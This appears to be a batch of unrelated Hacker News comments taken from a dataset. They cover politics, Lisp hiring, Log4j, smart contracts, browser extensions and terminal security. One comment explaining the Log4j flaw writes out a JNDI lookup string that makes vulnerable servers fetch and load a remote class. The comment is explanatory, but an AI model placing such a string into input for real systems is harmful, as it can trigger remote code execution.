skysight-inc/HackerNews huggingface dataset:
> He's consistently displayed an astonishing lack of judgment, including directly by video and live on-stage.

Not a crime. Not even what he was indicted for.

> He's been consistently among compromised associates and in compromising positions, including admitted interactions with hostile regimes that he actively attempted to conceal.

Same here. Not a crime.

> Tell me: on what planet would any nation's competent intelligence services NOT be investigating him?

They did investigate him and the investigation was ordered to be closed because there was nothing.

> Yet, you and the parent commenter want us to believe he's a perfectly reasonable guy patriot who's being unfairly targeted by "politicized" intelligence agencies. The parent then offers as "proof" a ranting YouTube video.

The burden of proof is not on me. What in the video is wrong? The "ranting" video actually reads the actual indictments and court filings and backs what I claim. You provided no facts except your own opinions.

> Yeah, your grand political conspiracy is the actual unproven thing here. Yet, anytime someone on that team is caught red-handed, it's a "deep state" conspiracy.

You're making a straw man argument. I never talked about any conspiracies. Abuse of power happens.

> It's even the deep state's fault when Flynn lies.

Lying implies an intent to deceive, which was never proven.

> Under that framing our intelligence agencies should just be disbanded.

Another straw man, I didn't say that.

> Is that a joke? He's the former NSA and he specifically aligned himself with despotic regimes (Turkey, Russia), as well plotted in contravention of U.S. policy. He's called for a coup on American soil and he's implicated himself in a cult.

You are projecting your opinion of Flynn over mine, as if I was in "Flynn's camp" and if Flynn is wrong therefore I'm wrong. "Aligning with despotic regimes" is an opinion and also not a crime. And if that's your basis for a "former NSA" than you might want to reconsider given three letters agencies track record with "despotic regimes".

> So, what team are you on? Doesn't sound like Team America.

https://yourlogicalfallacyis.com/tu-quoque
"the suburbs dream of violence. Asleep in their drowsy villas, sheltered by benevolent shopping malls, they wait patiently for the nightmares that will wake them into a more passionate world."

I want you to reach out to someone who has experienced violence in their community and ask them how it made them a stronger more capable person. There are plenty. They probably will not be the "real man" you are envisioning.

The worst people to meet on the battlefield in the past? It wasn't the "resilient" professional soldiers who lived through tough times. It was the kings and princes training in comfort, decked out in their armor worth a fortune surrounded by their expensive personal guard. Everyone else suffered.

"hard times make hard men" is not a coherent worldview. It is propaganda to cast "other" people as effete in order to convince you some other group of people are "real men". You know. The ones who do all the exact same shit as the "girly men" but are also willing to sell you overpriced supplements and coffee.

"I want my kids to increasingly face more insecurity and unsafety." What a joke. I hope your children are never unsafe and you never have to learn what a foolish thing this is to say.
There’s always more you can do to drive up availability but it comes at a cost and at some point the cost exceeds the prevented losses. There’s also no real brand damage from being down when everybody else is also down due to a common and widely accepted dependency (“nobody got fired for buying IBM”). So given the SLAs offered by cloud providers like AWS it really is the most economically feasible solution.
Disclaimer: Below is my experience and shouldn't be regarded as universal fact.

I've been hiring and wildly advertising Lisp jobs for around 10 years now in all sorts of domains. Good candidates always come by, but you'd think that sentiments like yours ("hard to find a lot of jobs") would mean that supply is significantly greater than demand. There is enough supply (if your employer doesn't have lots of stipulations like local-only, citizen-only, etc.; unfortunately mine does), but it's still counter-intuitive to me that supply isn't overwhelming.

I find most people who are attracted to the jobs are

1. Long-time lispers who are pretty happy with their life as it is, and would only take the job if it was truly a killer deal (e.g., work a couple hours a week at a FAANG staff-level full-time salary);

2. College students who are fascinated with programming languages and have dabbled in Lisp; and

There are others, but those dominate in numbers.

I've never, not once, got an applicant that said, "I don't know Lisp but I'd love a job with an interesting language."

Not so remarkably, Haskell programmers, Clojure programmers, and others of those ilk rarely apply. I don't know why, but Lisp has a distinctly different philosophy and lacks a solid community like those languages have.

I've sort of come to the conclusion that advertising it as a Lisp job is perhaps not even so beneficial these days. My biggest success honestly has been finding people who are obviously good at programming, showing them Lisp, then seeing them take off in less than a week and fly to new heights.
I think grid is that powerful
I'm not following; what does HashiCorp have to do with needing a swap file?
The NES: How it began, worked, and saved an industry
* Palm may be applied elsewhere if desired.
"we" as a company as opposed to the authors spontaneous feelings. I don't know about the nerd thing though
I sympathize with your thinking. There are two "readabilities".

1. How easy it is for an average programmer to understand the code.

2. How understandable the code actually is if the reader is fluent with that prior knowledge.

If one finds the latter is much better than code written in conventional techniques, but people are scared off by the former, it can get pretty frustrating, and "people are stupid" may be a conclusion drawn.

---

But my experience is that those techniques do not yield better code.

And "Educate yourself" made me barf.
Is this basically teaching the network how to do pattern processing, like line and corner detection, and then using that trained network as a starting point when training on real images?
I don't have an opinion on the particular product. But I don't understand people who call a product something starting with "Next Generation". Such a name isn't really going to age well no matter how clever you are.
Sure it is. It only takes a gift certificate to pay for one month of their salary.
You don't have to trust a single developer if you pay multiple independent reviewers though. If you paid a bonus for finding problems you could even incentivize their honesty.
There's reasons to suspect problems could be worse not better with personalized inference.

Defining replication gets tricky when your N is 1, and your population is one system, perhaps at a particular moment in time.
and the weird comercial buildings that look "welcoming" on the road side but actually the entrance is in the back, towards the car park.
I'm sure Microsoft wouldn't mind spending more on development if it means market share from Google if Chrome breaks everyone's extensions and they still work on Edge
> The message would still be accessible on the blockchain.

What about the right to be forgotten and GDPR laws?
Merlin the magician: from devil’s son to King Arthur’s trusted advisor
To folks wondering what the issue is about, I'll give a short summary that I myself needed.

Typically a logging library has one job to do: swallow the string as if it's some black box and spit it elsewhere as per provided configurations. Log4j though, doesn't treat strings as black boxes. It inspects its contents and checks if it contains any "variables" that need to be resolved before spitting out.

Now there's a bunch of ways to interpolate "variables" into log content. For example something like "Logging from ${java:vm}" will print "Logging from Oracle JVM". I'm not sure but you get the idea.

One way to resolve a variable using a custom Java resolver is by looking it up through a remote class hosted in some LDAP server, say "${jndi:ldap://someremoteclass}" (I'm still not quite sure why LDAP comes into the picture). Turns out, by including "." in some part of the URL to this remote class, Log4j lets off its guard & simply looks up to that server and dynamically loads the class file.

The fix has introduced ways to configure an allowed set of hosts/protocols/etc and forces Log4j to go through this configuration such that these dynamic resolutions don't land on an random/evil server.
Well, lawyers are the plurality of Congresspeople (though their share of Congress has declined over time) https://thepractice.law.harvard.edu/article/declining-domina...
Even if you trust the programmer, and even if he is competent he might still miss a very complex edge case ... and since there is no court / jury to take a human decision, you can be totally screwed.
To me its just the open deployment and one time payment. Other development and cloud environments do not compete, from a founder or developer perspective. Users pay to use with no convincing necessary.
There is a danger in taking this too far. If you assume that facts don’t change people’s minds, you fail to build the skill of arranging facts clearly in a way that helps people think most clearly and allows them to decide to change their mind. Without that skill, you cannot have influence with people who value making clear-eyed fact-based decisions enough to overcome their tribalism.

If you expect people to not make fact-based decisions, you will associate with people who frequently fail to make fact-based decisions. Do that too much, and your life will be at the whims of people who do not even aspire to manage their emotions wisely.

———

Seek out the scout mindset in everyone you meet.

Expect and bring out the best in those around you.
You're right, you can do all that--until vested interests revert your blockchain because the current blockchain status quo isn't to their liking, at which point your belief that code is better than law is a lie, because it still comes down to powerful individuals deciding what benefits them instead of letting "deterministic" outcomes stand.

It's not that people are laughing at it now; it's that it's already been proven to be a fraud, where the promise of an immutable blockchain is a grift to part suckers from their money.
The laws are mostly fine. The process of getting justice when someone has broken them is the bigger problem. Unfortunately solving the problem of access to cheap and efficient justice is just not that glamorous. There’s not enough money in it, so let’s start again from scratch right?

Not to mention techno-libertarian anarcho-capitalism is the ideological driving force behind many decentralisation efforts (hello Bitcoin), which is kinda at odds with improving justice. Many people in the space actively wish to be outside the law. Those are the people who started looking for alternatives, everyone else will parrot any old extreme ideology like “get rid of courts” for a sweet well-paying gig.
And you think we need a criminal justice system is one of those things?
I mean if you write log rotation code yourself you will still be woken up by it.

I agree that log configuration is a pain in the butt and oftentimes messy (especially when some third party lib includes a line to basically wipe your global config and everything gets wonky), but it's not like the heavy value adds are easy and bug-free to write!
So what? Ethereum classic has two+ orders of magnitude less activity. The hard forks are where Ethereum is today. It's not just the maintainers deciding what's law, instead of code; the coin community actually wants it that way.
The Classic Mac is frozen in time. Everything else around it evolves and breaks emulators.

A friend of mine NeoZeed make this MacBlastar package for me: https://archive.org/details/macblastar_202102 which does MacOS 8 in color with TCP/IP support. He had to take out some of the libraries that crashed in Windows 10 to get it to work.
Yes, over-engineering is common in many languages, especially Java, where Spring and OOP patterns would be deployed everywhere. It is not a unique problem to Scala.
Indeed, good luck convincing a corporation or some government to sign up. Not impossible, but very hard
Do VCs invest to give companies a "long runway"? Would be news to me, though it does seem plausible. But I'd expect a business strategy of: 1) Invest at a loss to become #1 2) ? 3) Profit.
> I've never, not once, got an applicant that said, "I don't know Lisp but I'd love a job with an interesting language."

I probably wouldn’t ever apply to a role that’s in a niche language I’ve never used. Most niche roles I’ve seen though want staff/principal level domain experts though.

Last time I looked for a job in a niche language (Erlang in my case) most of what I could find was actually looking for Clojure or Scala developers or something, but decided to keyword dump every functional language they’d ever heard of.
> But EFF doesn't trust you to make that decision on your own.

But neither does google on the other hand, and they're the ones that can actually do something more about it than writing a blog post.
There is no decision left to make once this change goes through. You can talk about improved security all you want, but the fact remains that uBlock Origin will be permanently crippled. This by far negates any security or privacy gain that Manifest v3 could possibly make.

Switch to Firefox.
Why not both? It's not entirely clear that either solution is going to magically make life wonderful by itself but both are going to have very positive effects on society and have some overlap in effect.
I considered it a near miss when a Scala shop rejected me because I used Maven to compile their coding challenge. Clearly the company was full of over-complicaters and actively recruiting for it.
> And even if DNS is completely centralized, it's the only thing we have for name lookups after 38 years!

Depending on how you mean, it's not the only thing or its not 100% centralized; https://en.wikipedia.org/wiki/Alternative_DNS_root lists the major alternatives in that immediate space.
That's a big problem with "smart contract" systems. The "trustless" part only works if you stay within the smart contract system. About all you can do with that is speculate in various crypto items. The ties to the real world are weak. Yes, there are "oracles" for widely available non-controversial info, such as the DJIA. But how do you get an oracle for "house is complete as specified and is ready for occupancy"? Or "package was delivered and contained contents as ordered"?

In systems where transactions are reversable, such as credit cards, problems can be fixed up later. But with instant irreversible transactions, you don't have that feature.
5G Street Fight (2018)
Friday: The Fastest and Easiest Way to Build a Website
And most (competent) tech leadership were previously technical and are leveraging their expertise also.
If you want to go down the route, you should check if log4j allows a port to be specified in the LDAP URI. If it does, firewalling one port won't do anything.
And that is fine.

Expecting your website to be identitical across every browser is not the goal. You need to build sites that respond to the capabilities of the user's device, and progressively enhance to get better as more features become available. If the website is less wide to account for the scrollbar on browsers where it can be that's awesome, and if it's full width on browsers that don't have the gutter feature that's OK too.

Critical functionality should work everywhere. Then users should get the best experience possible that their browser supports on top of that.
"Just like VR/AR and ML/AI of yesteryear."

More like the same silly blockchain ideas that didnt work X years ago, getting recycled with a new buzzwords.
This whole 'smart contracts' thing is stupid.

The issue is trust.
Smart contracts as a solution are a sad attempt at solving that issue.
There's always edge cases you can't code in.

E.g. in the example of the neighbour buying goods;
What if the other neighbours don't really like this guy, and conspire against him?

The solution to trust, isn't codifying every possible variable and putting in on some silly unmodifiable chain. That solution just shifts the trust. Instead of trusting humans, we're now trusting some poorly written code...

The solution to the trust issue is good ethics, mindfulness and good upbringing.
If someone violates your trust, it's probably due to some stress factor in that person's life. We need to create a better world for everyone and actually help the people that our violating our trust, and show them the way.
Little Switzerlands: Alpine Kitsch in England
Miners choose which chain to follow, not the quorum of powerful individuals.

If you believed that ETC was the correct option in that decision, you were free to mine that chain all you want.
At Whole Foods, we used to use Jira. Then we got bought by Amazon, and Jira got slowly pushed out the window.

For a time, I was on the DevOps team that managed the Jira instance that we had in the cloud, and I thought it was actually really well configured by the people who had come before me. IMO, that was probably as close as anyone gets to an “ideal” implementation of Jira. And we worked closely with all our customers to adapt the configuration to help better serve them, on an ongoing basis. But it wasn’t the official Enterprise version of Jira, so it had to go away.

The Enterprise version of Jira was run by a different team, and hosted at a datacenter that was operated by a certain 3rd party vendor. I think the team who managed it probably did the best they could, but IMO it wasn’t nearly as well configured for the kind of work that our teams were doing. The team responsible for running the hardware underneath did their level best to keep everything going as well as they could at the hardware/OS level, but what they were trying to support at the software level just couldn’t serve well for a community that large and with such diverse requirements.

After we got bought by Amazon, more and more teams started using internal Amazon proprietary tooling in this space, and Enterprise Jira kinda withered away. I don’t know if it has been officially shut down yet, because I left the company earlier this year and I don’t recall if it had been shut down before I left.
But a smart contract is reusable.. (that applies to paper contracts though as well!)
…. Easily? The signature and state.

It’s the same technology as PGP signers use in their email for proving which relies on the impossibility of collisions.
More than "disparate ideas", web3 seems a bunch of "desperate ideas" to make blockchains useful.
I don't know if I'd call 3 regressions and a political piece extensive and overwhelming support.
The term "Web3" was hijacked by ethereum.

web 3.11 (crypto optional edition) as I see it is about decentralised services over p2p networks (which may include crypto/blockchain).
Noone should be running a terminal as root if it can be avoided. Best practise would be to run the terminal as your user and sudo individual commands as needed. Assuming the command had untrusted output (eg `sudo tail -100F <some log with hostile info>`) the output would still be in your terminal. Any exploit would then need to be in "tail" (because that's the thing in this example you're running as root) or would need to be coupled with a priviledge escalation to get root.

This is the kind of vulnerability the GP was talking about here I think https://nvd.nist.gov/vuln/detail/CVE-2021-27135 and there have been a few in the history of terminals. If you've looked at the code for the historical terms (xterm, rxvt etc) it's very large and kinda gnarly. If you're security or performance-conscious there are probably better choices nowdays (eg Alacritty which I primarily use) which have a much smaller attack surface.
> Democracy solves the Byzantine agreement problem just fine already.

That’s nice when you and your counterparty are part of the same democracy, or potentially allied ones. But how do you enforce contracts when your government and their government are at war?

(The governments say “you shouldn’t; they’re the enemy.” Well, screw the governments, I want to make positive-sum trades in the hopes of increasing global GDP and ratcheting us up out of the need for wars over unevenly-distributed scarce resources in the first place.)

All the speculative value of cryptocurrencies is based on their utility in making and fulfilling the terms of contracts, when a government or governments don’t want to — or fundamentally aren’t able to — grant that contract any legal enforceability.

And much of the rest of the value derives from the ability of Proof-of-Work mining to be used to convert local export-controlled assets into exportable digital assets. (The whole reason PoW has stuck around as long as it has is that capital flight in China still needs it for a few years yet.)
Nah, its just for family fun. I fully intend to make negative profit on these coins for their entire lifetime. I’m okay spending some money and effort if that provides some entertainment for the family.
Gitlab just IPO'ed this year. It seems unlikely, that this would be a motivation.
Many folks are doing AoC in Common Lisp and Coalton (a statically typed DSL embedded in Lisp, so you can mix and match static and dynamic code). Many are hanging out on Discord [0] if you're interested in dropping by!

[0] https://discord.gg/MCWrVfnJ
In the case of smart-contracts you at least have the possibility of knowing, with existing trust mechanisms this is impossible.
Kinda? It’s under ridicule here because it’s quite contrived of a name and it adopts an ethos that is not put into practice by its developers and proponents.

There is a popular library called web3.js as well, which is used to find and communicate with nearby nodes of distributed ledgers. It’s pretty clever and convenient.

Since those kind of nodes store variables forever for free, developers dont need any other server side infrastructure and are able to make services extremely quickly, cheaply, and have a quick goto market strategy and it is extremely lucrative, and the users absorb all the costs of writing data. This is where things are 10x better than existing alternatives: revenue paths, overhead costs, speed.

not the user experience or the performance of the underlying technology.
https://www.omnibusproject.com/90
I've been to some HOA meetings. I think it's more likely that there's no consensus than that people agree that the park was improved. Even if the organizer did their best and spent a thousand bucks on supplies. There's no way to "make everyone whole again". Or maybe a majority of neighbors just aren't good people and realize they can get a nice park and their money back just by voting "no" as a bloc. All the fancy number theory hasn't really achieved anything.
Hmm, we already trust programmers enough to design our cryptography (hash functions and such)
limiting Google tracking
Weapons on Ancient Coins
The War Nerd puts it clearly: "Most people are not rational, they are TRIBAL: "my gang yay, your gang boo!" It really is that simple. The rest is cosmetics."

"Most" seems adequate because many adults do have preconceptions, for many of us being quite sure that "don't be an ignorant" is a requirement, and concluding that "knowing about everything" also is.

http://exile.ru/articles/detail.php?ARTICLE_ID=8366